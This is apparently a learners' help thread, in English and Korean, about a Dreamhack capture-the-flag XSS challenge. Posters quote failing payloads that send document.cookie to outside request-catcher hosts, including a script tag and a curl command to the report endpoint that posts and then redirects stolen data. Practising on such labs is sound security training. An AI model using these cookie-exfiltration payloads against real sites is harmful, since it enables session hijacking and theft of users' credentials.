baby xss

Can't find a short payload that doesn't exceed the HTTP header length limit when url encoded

Hi everyone, I have started to learn XSS and in this challenge I use payload: ` location = 'https://gzdegbd.request.dreamhack.games' + document.cookie ` The I use tool to encode jsfuck:https://jscrew.it/ I copy jsfuck code and then request to receive id, I report it and request /save?id=(this id i receive) I try many times but the query string in dreamhack respose is empty. Do I have any wrong, I need to learn more.

프론트엔드, /music에서 POST로 /save에 요청을 보내기전에 정규식을 활용하여 알파벳이랑, 특수문자를 필터링하기때문에, 백엔드 라우터인 /save로 바로 POST 요청으로 Flag를 보내게 해서 이거를 Dreamhack Tools로 Get요청을 하게하려고 했는데, 정상적으로 Reported!는 뜨는데 Tools로 요청이 들어오지 않아요 이유를 알려주시면 감사하겠습니다. 특수문자에 포함되지않는 기호인 JSFuck을 사용할려고도 했는데, 위 방법으로 문제를 풀어보고 싶어서요. 그리고 마지막으로 curl이나, console에서 직접적으로 POST 요청을 하였을때 DreamHack VM 서버가 자꾸 다운되는데 어떻게 해결하는지도 알려주시면 감사하겠습니다. curl -X POST -H "Content-Type: application/json" -d '{"url": "<script>(deep_cookie = document.cookie),fetch(\"/save\",{method:\"POST\",body:JSON.stringify({age:deep_cookie}),headers:{\"Content-Type\":\"application/json\"}}).then(response=>response.text()).then(data=>location.href=\"https://ynjlqqb.request.dreamhack.games/\"+data);</script>"}' http://host3.dreamhack.games:12833/report

dreamhack tools로 풀었는데 webhook.site으로도 풀어보려고 했는데 풀리지 않습니다. saved에 바로 들어가면 잘 작동하는데 report로 보내면 아무런 값도 전송이 안 됩니다 왜 그럴까요..?

hi, i want to ask how to injection malicious in Baby'age field, i already used urlEnconde with jsfuck but can not make the web pop up alert(1). I used this '-alert(1)`);// Do i wrong in somewhere, please help me,thank you

console에서는 실행이 잘 되어서 payload 그대로 exploit했습니다 그런데 unexpected string, unexpected token ']'이라면서 오류가 발생하는 이유가 뭘까요?

<script>window.location.href="https://gxterev.request.dreamhack.games/"+document.cookie</script> 이 페이로드로 진행할려하는데 flag 를 못찾겠어요 인코딩을 해도요